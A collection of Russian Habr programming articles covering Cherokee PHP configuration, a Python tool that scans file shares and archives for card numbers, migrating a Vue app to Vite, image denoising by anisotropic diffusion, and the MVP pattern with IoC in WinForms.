* **Interpreter:** */usr/sbin/php5-fpm --fpm-config /etc/php5/fpm/main.conf*
Пути правим в соответствии с вашим окружением.
— добавляем Virtual Server, для этого идём вверху в меню vServers, жмём на знак «+» слева и заполняем поля:
* **Nick:** *yoursite.com* (аналог ServerName в Apache)
* **Document root:** */absolute/path/to/files*
Жмём на Add, переходим на вкладку Basics прописываем index.php в поле Directory Indexes
Переходим на вкладку Behavior, жмём на Rule Management, добавляем правило для PHP:
* **Rule type:** *Extensions*
* **Extensions:** *php*
Вкладка **Handler**:
* **Handler:** *FastCGI*
* **Balancer:** *Round Robin* (при выборе пункта ниже должен подгрузится наш Source)
Точно так же добавляем правила типа **Directory** для *wp-admin*, *wp-includes* и *wp-content*, в качестве **Handler** выбираем *List&Send*
Всё, жмём SAVE и проверяем в браузере что сайт работает.
В следующей статье я рассмотрю разницу в производительности Apache и Cherokee на основе всё того же WordPress, не переключайтесь. | https://habr.com/ru/post/140337/ | null | ru | null |
# Поиск и обработка информации на файловых ресурсах
Начнем с точки входа в приложение. Чтобы инструмент удобно было использовать, напишем приложение с командным интерфейсом. Перед началом работы также стоит создать переменное окружение и активировать его.
Для обработки параметров командной строки в Python есть удобный модуль click (установка pip install click). Обработка аргументов командной строки происходит при помощи добавления к функции декораторов. Определим обязательные параметры: search\_path — путь по которому будем искать, либо файл с путями и дополнительные: режим исполнения программы (многопоточный или без), имя файла с результатами, формат записи результата (excel, csv, sqlite) и другие параметры по вашему желанию.
```
@click.command()
@click.argument('search_path',
type=click.Path(resolve_path=True,
dir_okay=True,
file_okay=True),
required=True)
@click.option('--concurrent_mode', '-cm',
type=click.STRING,
required=False,
default="None",
help="Concurrent search execution(multi or single)."
" Multi allows multiprocessing and threading")
@click.option('--output_path', '-o',
type=click.STRING,
required=False,
default='results',
help="Output filename(without extension)")
@click.option('--output_type', '-ot', '-out',
type=click.STRING,
required=False,
default='sqlite',
help="Format for output data((excel, csv, sqlite, mssql)")
...
def main(search_path, output_path, concurrent_mode, output_type):
"""
Starts search info(cards numbers) in files in path
search_path: path to search or json file with paths
"""
...
if __name__ == "__main__":
main()
```
Функцию поиска содержимого будем вызывать из функции *main().* В данном случае вызов выглядит следующим образом:
```
multi_mode = True if not concurrent_mode.lower() == "single" else False
search_in_files(search_path, file_types, output_path, maxsize,
buffer_size, clear_results, clear_log, continue_option,
multi_mode, output_type, debug, include)
```
Совершим настройку логирования для сохранения информации о произошедших при исполнении скрипта ошибок. Для этого прекрасно подходит встроенный модуль *logging.* Информация будет записываться в файл лога.
```
LOGGING_FORMAT = ('%(asctime)s %(levelname)s %(filename)s - '
'%(funcName)s %(message)s')
logging.basicConfig(filename="program_log.log", filemode='a',
level=logging.INFO, format=LOGGING_FORMAT)
```
В качестве аргументов командной строки может поступать одиночный путь, либо файл с путями. Для проверки файл это или каталог прекрасно подходит класс *Path* модуля *pathlib.* Выбор одного из двух вариантов реализуем следующим образом.
```
searching_path_obj = Path(search_path)
if searching_path_obj.is_dir():
search_type = 'one'
else:
search_type = searching_path_obj.suffix
search_type = search_type[1:]
```
Варианты заполнения списка с путями для проверки опишем с помощью словаря с ключами, представляющими тип входного пути (отдельный путь, файл формата csv или json) и значениями – функции для обработки.
```
PATH_FILLER = {
'one': add_search_dict,
'json': add_search_from_json,
'csv': add_searches_from_csv
}
```
Функции для обработки считывают данные из файлов и записывают в список словарей с ключами идентификатор, имя ресурса, путь. Словари очень хорошо подходят для написания красивого кода и возможности избавиться от множественных проверок условий.
Каждая функция принимает два параметра список для хранения результатов и путь к файлу с данными.
Также не стоит забывать обрабатывать параметры командной строки – пользователь может ввести их неправильно. Посмотрим обработку на примере аргумента search\_type:
```
SEARCH_TYPES = ["one", "json", "csv"]
if search_type not in SEARCH_TYPES:
types = ",".join(SEARCH_TYPES)
message = (f"Неправильный тип поиска!"
f" Должен быть один из вариантов: {types}")
print(message)
logging.error(message)
return
```
Теперь, когда имеется словарь с функциями для заполнения списка входных данных из файлов с разными форматами заполнение списка будет выглядеть довольно просто:
```
# Для хранения списка файлов
search_paths = []
# Заполнение списка
PATH_FILLER[search_type](search_paths, search_path)
```
**Многопоточность и обработка частями**
Чтобы наше приложение могло использовать как можно больше вычислительных ресурсов добавим многопоточность при помощи *ThreadPoolExecutor*из стандартной библиотеки. Для отображения прогресса работы программы используем *tqdm* (pip install tqdm).
```
futures = []
with ThreadPoolExecutor(max_workers=max_threads) as executor:
for proc_id, search_dict in enumerate(paths_list):
source = SearchSource(search_dict['name'],
search_dict['id'],
search_dict['path'])
futures.append(executor.submit(find_in_path,
source,
allowed_types,
max_filesize=max_filesize,
max_buffer_size=max_buffer_size,
continue_state=continue_state,
debug_mode=debug_mode))
progress_bar = tqdm(as_completed(futures),
total=len(paths_list),
desc="Проверка ФИРов",
bar_format='{desc:<15} '
'{percentage:3.0f}%|{bar:20}{r_bar}')
for _ in progress_bar:
pass
```
Результаты поиска будем записывать в датафрейм модуля *pandas* (pip install pandas). В процессе поиска будем сохранять промежуточные результаты, на случай если что-то пойдёт не так и скрипт завершит работу.
```
interim_result = []
common_uid = generate_uid()
for result in files_gen:
current_num += 1
result.save_to_dataframe(interim_result, source_search.path)
total_fs_size += result.size
if current_num % batch_size == 0:
batch_num += 1
progress_state = batch_num * batch_size
info_message = (f"Поток {process_thread_id}.{subprocess_postfix} "
f"Обработано: {progress_state} файлов.")
print(info_message)
if current_num > 0 and current_num % FILES_IN_POOL == 0:
stat = SearchStat(current_num, total_fs_size)
search_result = pd.DataFrame(interim_result,
columns=REPORT_COLUMNS)
save_interim(search_result, source_search, stat,
part_num, common_uid)
interim_result = []
part_num += 1
if interim_result:
stat = SearchStat(current_num, total_fs_size)
search_result = pd.DataFrame(interim_result,
columns=REPORT_COLUMNS)
save_interim(search_result, source_search, stat,
part_num, common_uid)
else:
uid = generate_uid()
save_dir_progress(source_search, SearchStat(0, 0),
uid, "Нет доступа")
```
Количество обрабатываемых файлов для записи промежуточных результатов определим в FILES\_IN\_POOL, а колонки для отчёта опишем в переменной REPORT\_COLUMNS (список строк).
**Обработка файлов и архивов**
Для обработки результатов напишем функцию-генератор, возвращающий результаты обработки и использующую функцию *os.walk*для рекурсивного обхода по файлам:
```
for root, dirs, files in os.walk(path):
for file in files:
file_path = os.path.join(root, file)
try:
file_obj = File(file_path,
thread_id,
None,
max_buffer_size)
file_suffix = file_obj.extension
except Exception as ex:
error_message = (f"{str(ex)}. Не удалось получить "
f"доступ к файлу {os.path.join(root, file)}")
logging.error(error_message)
file_suffix = '!NONE!'
proc_res, res_info = file_obj.process(max_filesize)
result = SearchResult(file_obj.path, proc_res, res_info,
file_obj.size, file_suffix)
yield result
```
Для работы с файлами и поиска по ним используется отдельный класс:
```
class File:
"""
File class with file info.
Method file processing calling processing functions
for each filetype (document, pdf, xlxs, image)
"""
# Максимальный объём файла для обработки по умолчанию
PROCESSING_MAX_SIZE = 100
def __init__(self, file_path, process_thread_id=1,
subprocess_id=None, buffer_size=314_572_800):
path_obj = Path(file_path)
self.name = path_obj.name
self.extension = path_obj.suffix
self.flat_name = path_obj.stem
self.parent_directory = str(path_obj.parent)
self.path = file_path
self.process_thread_id = process_thread_id
self.buffer_size = buffer_size
self.subprocess_id = subprocess_id
self.size = os.path.getsize(self.path)
```
Обработку файла реализуем при помощи метода *process()* класса *File.*
```
def process(self, limit_size: int = 100):
"""
Process file and starts search inside
:param limit_size: max file size in MB
:return:
"""
if limit_size is None:
limit_size = File.PROCESSING_MAX_SIZE
file_size_in_mb = self.size / (1024 * 1024) # размер в мегабайтах
if self.extension in CRITICAL_FILE_EXT:
return self.find_cards(critical=True)
if file_size_in_mb > limit_size:
return self.get_max_size_exceed()
if self.extension in USUAL_SUFFIXES:
return self.find_in_file()
elif self.extension in ARCHIVES_SUFFIXES:
result = self.find_in_zip()
remove_dir(self.form_tempdir_name(TEMP_ARCHIVES_PATH))
return result
elif self.extension in OLD_SUFFIXES:
temp_dir = self.form_tempdir_name(TEMP_PATH)
recreate_tempdir(temp_dir)
result = self.find_in_olddoc()
remove_dir(temp_dir)
return result
return self.get_unsupported_result()
```
Отдельно стоит упомянуть, что при обработке архивов разных форматов их прийдётся извлекать во временные папки и обрабатывать. Конечно, как вариант, можно использовать отдельные модули для обработки архивов разного формата (есть стандартные модули *zip, tarfile*остальные нужно устанавливать), но для задач, в каких целях применялся разработанный инструмент, требовалась обработка *rar* формата. В данном случае будет использоваться модуль *patoolib*(pip install patool).
Также при обработке архивов стоит учесть, что внутри могут находиться другие архивы. Поэтому извлекать архивы стоит рекурсивно. Класс для обработки архивов представлен ниже:
```
class Archive(File):
def __init__(self, path, temp_dir=None):
super().__init__(path, 1, subprocess_id=None,
buffer_size=314_572_800)
self.temp_dir = TEMP_ARCHIVES_PATH if temp_dir is None else temp_dir
def extract(self, out_path: str = TEMP_PATH, recursive=True,
changed_path=None, extract_level=1):
"""
Extracts all data from archive
:param extract_level: current extraction depth
:param recursive: True for recursive extract(by default)
:param out_path: Path to extract archive
:param changed_path: Path for second and more extract
:return:
"""
source_path = self.path if changed_path is None else changed_path
try:
patoolib.extract_archive(source_path, verbosity=-1,
outdir=out_path,
interactive=False)
if changed_path is not None:
os.remove(source_path)
except Exception as ex:
logging.error(f"Ошибка при извлечении архива {self.path}: {ex}")
return
if recursive:
for root, dirs, files in os.walk(out_path):
for file in files:
pth = Path(root) / file
suffix = pth.suffix
if suffix in ARCHIVES_SUFFIXES:
try:
extract_dir = str(pth.parent)
if extract_level > 999:
# В случае большого вложенного
# архива останавливаем процесс
return
self.extract(extract_dir, recursive=True,
changed_path=f"{pth}",
extract_level=extract_level + 1)
except Exception as ex:
logging.error(f" Проход по архиву."
f"Файл {pth} Ошибка - {ex}")
```
Для хранения результатов поиска удобно организовать отдельный класс.
```
class SearchResult:
"""
Represents search results
Attributes:
result(bool) : True if success, else False
info(str): additional string description
size(int): file size
ext(str): file extension
"""
def __init__(self, file_path: str, result: bool = None,
info: str = None, size=0, ext=None):
"""
:param result: result : True if success, else False
:param info: additional string description
:param size: file size
:param ext: file extension
"""
self.__result = result
self.__info = info
self.__size = size
self.__ext = ext
self.__path = file_path
```
Для обработки файлов с различными расширениями напишем отдельные функции. Для их вызова также используем словарь.
```
process_functions = {
'.docx': docx2txt.process,
'.txt': process_txt,
'.xls': extract_text_xls,
'.xlsx': extract_text_xlsx,
'.xlsm': extract_text_xlsx,
'.xlsb': extract_text_xlsb,
'.rtf': extract_text_rtf,
'.csv': extract_csv,
'.pdf': extract_text_from_pdf,
}
try:
text = process_functions[self.extension](self.path)
except Exception as ex:
logging.error(f"Ошибка при обработке файла {self.path}: {ex}")
```
При обработке текстовых файлов нам помогут средства стандартной библиотеки Python, табличных – модули *pandas*, *pyexcel*, *xlrd* ; файлов Word – модули *docx2txt*, *win32com*/пакет LibreOffice; rtf –модуль *striprtf***;**pdf файлов – модуль *pdfminer*.
**Поиск по содержимому**
Для поиска информации воспользуемся модулем *re.* Если нужно искать данные по каким-то конкретным шаблонам, как в случае с задачей для которых использовался инструмент, определим их отдельно в переменной SEARCH\_REGEXPS.
```
def search_info(text):
"""
Search info
:param text: text in str format
:return: results count and info
"""
results = []
for pattern in SEARCH_REGEXPS:
finds = re.findall(pattern, text)
for res in finds:
results.append(res)
return len(results), ",".join(results)
```
**Обработка результатов**
Промежуточные результаты сохраняются в файлы на локальном компьютере. Для записи результатов Обработка полученных результатов выглядит следующим образом.
```
RESULT_SAVERS = {
'sqlite': sqlite_save,
'mssql': mssql_save,
'csv': save_csv,
'excel': save_excel,
'xlsx': save_excel,
}
def process_results(result_type, output_tablename='results'):
"""
Unite all results from RESULTS_PATH directory
:param result_type: result format for save (sqlite, mssql, csv)
:param output_tablename: out table postfix for name
"""
result_dirs = load_setting("RESULT_DIRS")
for result_dir in result_dirs:
print(f'Чтение результатов {result_dir}..')
# Имя таблицы/файла для сохранения
outname = f"{output_tablename}-{result_dir}"
path_to_process = Path(result_dir)
dataframes = []
result_paths = []
if path_to_process.exists():
result_paths = [p for p in path_to_process.iterdir()]
for path in tqdm(result_paths, desc="Чтение файлов",
bar_format='{desc:<15} {percentage:3.0f}%|'
'{bar:20}{r_bar}'):
try:
if path.suffix == '.xlsx':
dataframes.append(pd.read_excel(str(path),
sheet_name=0))
elif path.suffix == '.csv':
dataframes.append(pd.read_csv(str(path),
encoding='cp1251',
sep=';'))
except Exception as ex:
print(F"Ошибка при обработке файла {path}. Ошибка: {ex}")
print('Объединение данных...')
if dataframes:
result_frame = pd.concat(dataframes)
# Убираем лишний столбец со внутренними id
remove_first = load_setting("REMOVE_FIRST")
if remove_first:
result_frame.drop(result_frame.columns[[0]], axis=1,
inplace=True)
print('Запись результатов..')
if result_type not in RESULT_SAVERS:
print(f"Неверный формат данных {result_type}!!!")
try:
RESULT_SAVERS[result_type](outname, result_frame)
except Exception as ex:
print(f"Ошибка сохранения в {result_type}: {ex}")
print('Сохранение результов завершено!')
else:
print('Данные отсутствуют!')
```
Для записи в базу данных воспользуемся модулями *sqlalchemy, pymssql, pandas.*Настройки для подключения будем хранить в отдельном файле или переменных среды. Код для записи в БД выглядит следующим образом.
```
def get_connection_settings():
global DATABASE_NAME, DOMAIN, DB_SERVER
DATABASE_NAME = load_setting('DATABASE')
DOMAIN = load_setting('DOMAIN')
DB_SERVER = load_setting('DB_SERVER')
get_connection_settings()
def sqlite_save(table_name: str, data: pd.DataFrame):
"""
Saves pd dataframe in sqlite db
:param db_name: database name
:param table_name: table name in database
:param data: dataFrame to save
"""
engine = create_engine(f'sqlite:///{DATABASE_NAME}.db')
data.to_sql(f'{table_name}', con=engine, if_exists='append',
method='multi')
def mssql_save(table_name: str, data: pd.DataFrame):
"""
Saves pd dataframe in sqlite db
:param table_name: table name in database
:param data: dataFrame to save
"""
with pymssql.connect(server=DB_SERVER, database=DATABASE_NAME) as con:
engine = create_engine('mssql+pymssql://', creator=lambda: con)
data.to_sql(f'SearchDpk_{table_name}', con=engine, if_exists='append',
method='multi', chunksize=500)
```
Вот так будет выглядеть результат:
Таким образом, получим инструмент, позволяющий обрабатывать файлы в указанных каталогах. | https://habr.com/ru/post/583344/ | null | ru | null |
# Переход с Vue-CLI и Webpack на Vitejs
[Веб-приложение Qvault, в котором размещаются все мои курсы по кодированию](https://qvault.io/), представляет собой одностраничное приложение, написанное на Vue 2, с планами перехода на Vue 3 в *ближайшее время*. Тем временем я обнаружил новое классное инструментальное приложение под названием [Vite](https://github.com/vitejs/vite), которое предложило несколько вещей, привлекших мое внимание.
* Практически мгновенное время запуска сервера разработки
* Горячая замена модулей из коробки
* Простая конфигурация
* Поддержка модулей ES из коробки
Это особенно заинтересовало меня, потому что сервер разработки моего (довольно) простого приложения требует более 10 секунд для запуска с [Vue-cli](https://cli.vuejs.org/) и [Webpack](https://webpack.js.org/), и я потратил много часов в прошлом, пытаясь настроить Webpack и [Babel](https://babeljs.io/), когда мне нужны были только базовые конфигурации Vue. Давайте рассмотрим несколько быстрых сравнительных примеров, прежде чем я углублюсь в руководство по миграции, чтобы вы могли понять, будет ли польза от данного перехода для вас.
| | | |
| --- | --- | --- |
| | **Vite** | **Vue-cli + Webpack** |
| Время начала работы сервера Dev | ~600ms | ~10,000ms |
| Время HMR | Не уверен, кажется *моментально* | ~2,000ms |
| Время сборки продакшена | ~15s | ~22s |
| Количество подключенных JS-файлов | 29 JS modules | 18 JS Modules |
| Средний размер пакета JS | ~29kb | ~61kb |
| Общий размер пакета JS | ~840kb | ~1098kb |
*Vite в сравнении с Vue-cli + Webpack*
Кроме того, чтобы получить 18 модулей, показанных выше, используя Vue cli и webpack, мне пришлось добавить аннотации комментариев в файл routes.js. Из коробки Vue-cli выдает один огромный пакет, что намного хуже по соображениям производительности страницы. Vite сразу же разбивает пакет по модульным линиям без необходимости использовать эти надоедливые аннотации.
**Руководство по миграции**
Давайте рассмотрим основные шаги по переносу проекта на Vue 2 из Vue CLI в Vite.
**Шаг 1 - зависимости**
Все зависимости @vue-cli... должны быть удалены. Для меня это означало удаление следующих.
```
- "@vue/cli-plugin-babel": "^4.5.6",
- "@vue/cli-plugin-eslint": "^4.5.6",
- "@vue/cli-service": "^4.5.6",
```
Они были заменены на Vite и его плагин для Vue.
```
+ "vite": "^2.2.1",
+ "vite-plugin-vue2": "^1.4.4",
+ "@vue/compiler-sfc": "^3.0.11",
```
Далее, Vite поддерживает sass из коробки, поэтому я могу удалить свои старые зависимости.
```
- "node-sass": "^4.12.0",
- "sass-loader": "^10.0.2",
```
И я заменил их на простой компилятор sass, потому что Vite требует, чтобы он был доступен.
```
+ "sass": "^1.32.11",
```
Наконец, поскольку Vite поддерживает только современные браузеры (к сожалению, если вам нужно поддерживать старые, Vite может вам не подойти), я удалил зависимости babel и мой файл babel.config.js.
```
- "babel-eslint": "^10.1.0",
- "babel-runtime": "^6.26.0"
```
**Перемещение index.html**
Vite не хранит index.html в папке public, как вы привыкли, вместо этого он находится прямо в корне вашего проекта, поэтому переместите его туда. Vite также нужна дополнительная точка входа.
```
**We're sorry but this app doesn't work properly without JavaScript enabled. Please enable it to continue.**
```
Вам также потребуется изменить ссылки на статические активы, чтобы использовать простой /, а не <%= BASE\_URL %>.
```
```
**Конфигурация Vite**
Вот vite.config.js, на котором я остановился, он находится в корне проекта.
```
import { defineConfig } from 'vite';
import { createVuePlugin } from 'vite-plugin-vue2';
import path from 'path';
export default defineConfig({
plugins: [ createVuePlugin() ],
server: {
port: 8080
},
resolve: {
alias: [
{
find: '@',
replacement: path.resolve(__dirname, 'src')
}
]
},
build: {
chunkSizeWarningLimit: 600,
cssCodeSplit: false
}
});
```
Блок resolve позволяет мне импортировать компоненты, используя @ в качестве корня каталога src. Например, import Tooltip from '@/components/Tooltip.vue';.
Блок build выполняет несколько действий, во-первых, он увеличивает предупреждающий лимит размера фрагмента с 500 кб до 600 кб по умолчанию. Я сделал это только потому, что у меня очень тяжелый компонент редактора кода, и я не хочу видеть предупреждение каждый раз.
Во-вторых, мой сайт **полностью сломался**, когда я позволил Vite разделить мои .css файлы так, как он хотел. Это меня очень расстраивает, потому что я бы предпочел, чтобы мои пользователи загружали только те CSS, которые им нужны. Если у кого-то была подобная проблема, пожалуйста, дайте мне знать, как вы ее решили.
**Расширения .vue**
Vite однозначно требует, чтобы все .vue импорты включали .vue в путь. Это может быть немного утомительно, если вы не использовали расширения. Все ваши импорты должны быть обновлены с import Tooltip from '@/components/Tooltip' на import Tooltip from '@/components/Tooltip.vue'.
**Разбивка Webpack для лениво загружаемых маршрутов**
Если ранее вы использовали аннотации комментариев в Webpack для разбиения вашего пакета, то теперь вам не нужно этого делать! Просто удалите их.
```
const Courses = () => import(/* webpackChunkName: "Courses" */ '@/views/Courses.vue');
```
становится
```
const Courses = () => import('@/views/Courses.vue');
```
**Скрипты Yarn**
Я использую следующие три скрипта.
```
"serve": "vite --open",
"preview": "vite preview --open --port 8080",
"build": "vite build --out-dir dist",
"lint": "eslint src",
"lint:fix": "eslint src --fix"
```
* yarn serve запускает сервер разработки и открывает предпочитаемый браузер.
* yarn build создает продакшн-файлы и сохраняет их в dist
* yarn preview обслуживает продакшн-файлы локально для тестирования
* yarn lint запускает eslint и сообщает о проблемах. Вероятно, до этого вы использовали vue-cli-service lint, который просто запускал eslint под капотом.
**Окружение Node**
Vite требователен к тому, чтобы код Node.js не подставлялся в ваш фронт-енд бандл. Я столкнулся с проблемой, когда зависимость, которую я имел, нуждалась в определении global. Конечно, лучше всего не использовать такие зависимости, но в моем случае это было необходимо, поэтому я добавил небольшую прокладку (shim) в index.html.
```
const global = globalThis;
```
**Vue 3**
Мой следующая миграция, по всей видимости, будет на Vue 3, предположительно в этом году. На самом деле я просто ждал большей стабильности и поддержки новой основной версии некоторыми из моих зависимостей.
---
> Материал подготовлен в рамках курса [«Vue.js разработчик»](https://otus.pw/9KeY/).
>
> Всех желающих приглашаем на открытый урок [«Обзор возможностей Vue3».](https://otus.pw/fSVs/) На этом занятии мы:
> - разберём, как изменился код инициализации приложения createApp;
> - как мигрировать V2 на V3, Migration build;
> - улучшения для написания переиспользуемых компонентов;
> - использование vuex или composition api hooks.
>
> → [**РЕГИСТРАЦИЯ**](https://otus.pw/fSVs/)
>
> | https://habr.com/ru/post/572622/ | null | ru | null |
# Подавление шумов как задача диффузии
Hello, Хабр.
Недавно, так уж вышло, читал в своем старом лицее лекцию на тему того, зачем они учат математику и что с ней можно потом делать чуть более прикладного. Для школьников 10-го класса оказалось чуть сложновато, пожалуй. Надеюсь данная тема будет интересно кому нибудь из хабрасообщества (здесь представлен вариант чуть-чуть сложнее того, что я читал в лицее, но не думаю, что это проблема).
Итак. Речь пойдет об обработке изображений, в частности об одном из самых простых, однако красивом с описательной точки зрения, методе подавления шумов в изображении.
Не так давно я для себя открыл сколько физики заключается в обработке изображений. Меня это очень заинтересовало, в виду того, что эти две ветви науки у меня в голове никогда не пересекались. В этой статье я представлю как можно убрать шумы с изображения решая задачу переноса массы на плоскости.
#### Представление изображения
Сначала уточним, что будем считать изображением. Для простоты описания мы будем рассматривать сейчас только ч/б изобрежения.
Представлять их будем как матрицу насыщености.

Таким образом каждому пикселю изображения соответствует элемент матрицы. Значения в матрице — числа типа `float` из промежутка `[0,255]`.
Возьмем какое нибудь изображение и добавим к нему шум (это проще, чем искать изображение уже с шумом, так как можно проверить на сколько алгоритм хорошо справляется с шумами, задавая разную интенсивность шума). Получим нечто такое:

#### Изображение как функция
Для дальнейшего объяснения метода, мне нужно ввести кое-какие обозначения:
Во-первых, далее мы будем рассматривать наше изображение как функцию от координат пикселей. Таким образом, если мы хотим сказать, что пиксель с координатами `х` и `у` белый, то мы можем записать это как `I(x,y)==255`
Далее, если у нас есть функция, то мы можем взять от нее производную и далее нам это пригодится. Так как функция у нас дискретная, то есть задана в ячейках, с установленным шагом между ними, то мы можем ее записать как (так как функция двумерная, то и производных, соответсвенно две):


Тут `k==1` так как разница между соседними пикселями = 1 пиксель.
Таким образом, производные будут тоже матрицами такого же размера как и исходное изображение:


Имея производные по обеим координатам логично посчитать градиент:

И его величину:

Величину градиента можно вывести в виде изображения:

Теперь, внимательно посмотрим на величину градиента. Она имеет большие значения там, где хранится нужная нам информация.
Чтобы избавить изображение от шума логично, что его нужно размыть. Однако при размытии теряются важные детали. То есть мы хотели бы ограничить размытие в зонах, где градиент достаточно большой. Оставлся только вопрос как это сделать.
#### Связь с процессом диффузии
Здесь нам на помощь приходит замечательный физический процесс диффузии. Представим матрицу изображения как индикатор наличия массы в той или иной точке плоскости. Процесс диффузии заключается в том, что масса «растекается» из точек с большой ее концетрацией в точки с малой. В процессе диффузии присутствует понятие потока, который подчиняется так называемому закону Фика:

Где `D` — Тензор диффузии, который задает направление и величину диффузии.
Запишем так же закон сохранения массы, который говорит о том, что разница входящего и исходящего потоков равна изменению массы в точке:

Если поток не ограничивать, то есть `D==1` — масса будет распространяться во всех направлениях равномерно, то есть мы получим эквивалент Гауссовского размытия, а значит потеряем важные детали изображения. Нас интересует метод, с помощью которого поток можно ограничивать.
Одним из самых простых методов является ограничение величины потока, не ограничивая его направления. Про него и будем говорить далее.
Введем в рассмотрение некоторую убывающую функцию, на вход которой будем подавать величину градиента. Эта функция на данном этапе будет представлять собой тензор диффузии:

Тогда уравнение сохранения массы принимает вид:

Далее распишем все формулы (этот шаг я, пожалуй, опущу) и запишем конечное уравнение, с помощью которого можно найти решение задачи:

Таким образом мы получили итерационную схему, которая стабильна при значениях параметра `tau<=0.25`. Она довольна медленна, так как метод базовый и более успешные алгоритмы базируются на нем.
#### Результат
В конце концов мы получим изображение, которое сохранило почти все важные детали и лишилось почти всего шума.
UPD: Приношу искренние извинения, изображения были перепутаны. Заменил изображение, которое было раньше на то, что получается в результате обработки изображения с таким количеством шума как представлено в статье. Еще раз приношу извинения.

Для сравнения — оригинал и версия с шумом (еще раз):


Литература:
* P. Perona, J. Malik: Scale-space and edge detection using anisotropic diffusion. IEEE
Transactions on Pattern Analysis and Machine Intelligence 12(7):629-639, 1990.
* J. Weickert: Anisotropic Diffusion in Image Processing. Teubner, Stuttgart, 1998. The book is
not available anymore, but the PhD thesis of Joachim Weickert, which was the basis of his
book, is available on his website.
* T. Brox: Lectures on Computer Vision. Freiburg im Breisgau, 2011
P.S. При обнаружении неточностей — буду рад услышать критику и пожелания. | https://habr.com/ru/post/144288/ | null | ru | null |
# Реализация паттерна MVP на основе ApplicationController и IoC в WinForms приложении
Добрый день!
В этой статье я расскажу о том как я внедрял паттерн MVP в своём Windows Forms приложении и опишу практические ситуации и особенности использования IoC и ApplicationController. Переход от codebehind к MVP мне позволил:
* улучшить читатемость за счёт лучшего разделения кода (SRP) — отделить BL от View;
* выработать методику дальнейшего расширения функциональности приложения;
* избавиться от singleton, который я использовал для работы с настройками приложения.
О приложении
------------
Приложение для помощи в ведении групп ВК. Позволяет наполнять группу отложенными постами. Основная функциональность на данный момент — загрузка отложенных постов в группу ВК с картинками или видео, хэштэгами, опросами, геопозицией и возможностью конфигурировать время публикации и количество постов по дням. На данный момент у приложения одна форма.
С ростом его функциональности накопилось достаточно много codebehind, который стал смущать тем, что форма стала очень загружена и содержала всё в себе. Планируя дальнейшее развитие проекта я не мог представлять, что дальше можно продолжать в том же духе и вот пришёл момент, когда главной задачей стало не наращивание функционала, а рефакторинг. И я стал искать решение, которое бы помогло оптимизировать и разделить код и в целом улучшить архитектуру приложения, чтобы с ним было приятнее работать.
[Исходный код](https://github.com/vailukhin/VKGroupHelper)
Решение по рефакторингу
-----------------------
Решение было — внедрение паттерна MVP. За основу я взял статью [Особенности реализации MVP для Windows Forms](https://habr.com/ru/post/211899/).
В статье разбирается расширенный пример простого приложения с 3мя формами: 2мя основными и 1й модальной. В статье рассматривается очень расширенный подход:
* помимо ApplicationController и IoC там используется ещё и Adapter, позволяющий использовать разные IoC;
* 3 вида форм: с параметрами, без параметров и модальная;
* широко применяется принцип DIP.
В своём проекте я использую только одну форму без аргументов, отказался от адаптера (следуя принципу YAGNI), так как мне достаточно будет IoC Lightinject и в меньшей мере применяю DIP, чтобы упростить проект.
Реализация MVP
--------------
**MVP (Model-View-Presenter)** — паттерн проектирования, придуманный для удобства разделения бизнес-логики от способа её отображения. Подробнее о теории можно прочитать в статье выше. Опишу составные части в моей реализации:
* **Model** — это структура данных передаваемая между View и Presenter и содержит данные как для отображения так и для исполнения логики. В моём случае модель — это Settings. При старте проекта Settings загружаются во MainFormView, а при запуске загрузки MainFormView проверяет и передаёт Settigns в Presenter, для того чтобы Presenter выполнил логику на своей стороне.
* **View** — это форма, в которой отображаются данные для пользователя. В моем случае это данные модели Settings, а так же View предоставляет события, для того, чтобы Presenter связал View с BL.
MainFormView реализует общий интерфейс IView, характерный для всех View
```
public interface IView
{
void Show();
void Close();
}
```
а так же частный интерфейс IMainFormView, характерный только для данного View. В начале я думал от него отказаться, но если связать Presenter непосредственно с формой, то при работе с таким View, будет доступен весь набор методов, характерных для Form, что не удобно.
```
public interface IMainFormView: IView
{
void LoadSettings(Settings settings);
void UpdateSettings(Settings settings);
void ShowMessage(string message);
void LoadGroups(List groups);
void EnableVKUploadGroupBox();
bool Check();
event Action Login;
new event Action Close;
event Action VKUpload;
}
```
Ещё одно нововведение MVP в том, что у формы заменён метод Show и через конструктор в форму передаётся ApplicationContext, таким образом, чтобы при переключении от формы к форме и закрытии — переназначалась главная форма.
```
protected ApplicationContext _context;
public MainForm(ApplicationContext context)
{
_context = context;
InitializeComponent();
dateTimePickerBeginDate.Format = DateTimePickerFormat.Custom;
dateTimePickerBeginDate.CustomFormat = "MM/dd/yyyy hh:mm:ss";
buttonAuth.Click += (sender, args) => Invoke(Login);
this.FormClosing += (sender, args) => Invoke(Close);
buttonLoad.Click += (sender, args) => Invoke(VKUpload);
}
public new void Show()
{
_context.MainForm = this;
Application.Run(_context);
}
```
— **Presenter** — это класс, который инкапсулирует в себе View, Services и бизнес-логику (BL), с помощью которой организует взаимодествие между View и Services. BL реализована в основном в обработчиках событий View. В отличии от ранее используемого CodeBehind, в MVP обработчики событий, выполняющих BL выведены в Presenter, а так же для простоты события у View выведены в виде Action без аргументов. Все необходимые данные для выполнения обработчики получают через модель, полученную из формы через публичный метод.
Presenter содержит метод Run, который вызывается ApplicationController-ом и который запускает форму:
```
public interface IPresenter
{
void Run();
}
```
**ApplicationController** — единая точка управления и выполнения всего приложения. Инкапсулирует в себе всю логику: IoC, Presenters, View, Services.
Управление происходит через метод Run, который вызывает соответствующий Presenter. Все Presenter-ы соединены друг с другом через ApplicationController, который Presenter получают в конструкторе. Таким образом Presenter может вызвать другой Presenter вызвав метод Run, который внутри себя обращается к IoC Container для получения нужного Presenter и его запуска.
```
public class ApplicationController
{
ServiceContainer _container;
public ApplicationController(ServiceContainer serviceContainer)
{
_container = serviceContainer;
_container.RegisterInstance(this);
}
public void Run() where TPresenter:class, IPresenter
{
var presenter = \_container.GetInstance();
presenter.Run();
}
}
```
**IoC container** — это агрегатор всех «зависимостей» используемых в логике работы приложение. Он содержит в себе:
* конструкторы View
* конструкторы Presenters
* инстансы сервисов
* контекст приложения
* ApplicationController
Все зависимости добавляются в контейнер во время запуска, это можно видеть в файле Program.cs:
```
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
ulong appid = ulong.Parse(ConfigurationManager.AppSettings["AppIdForTest"]);
VKGroupHelperWorker vk = new VKGroupHelperWorker(appid);
ServiceContainer container = new ServiceContainer();
container.RegisterInstance(vk);
container.RegisterInstance(Globals.Settings);
container.RegisterInstance(Context);
container.Register();
container.Register();
ApplicationController controller = new ApplicationController(container);
controller.Run();
}
```
Для IoC я использовал компонент Lightinject, который перед использованием необходимо установить через NPM.
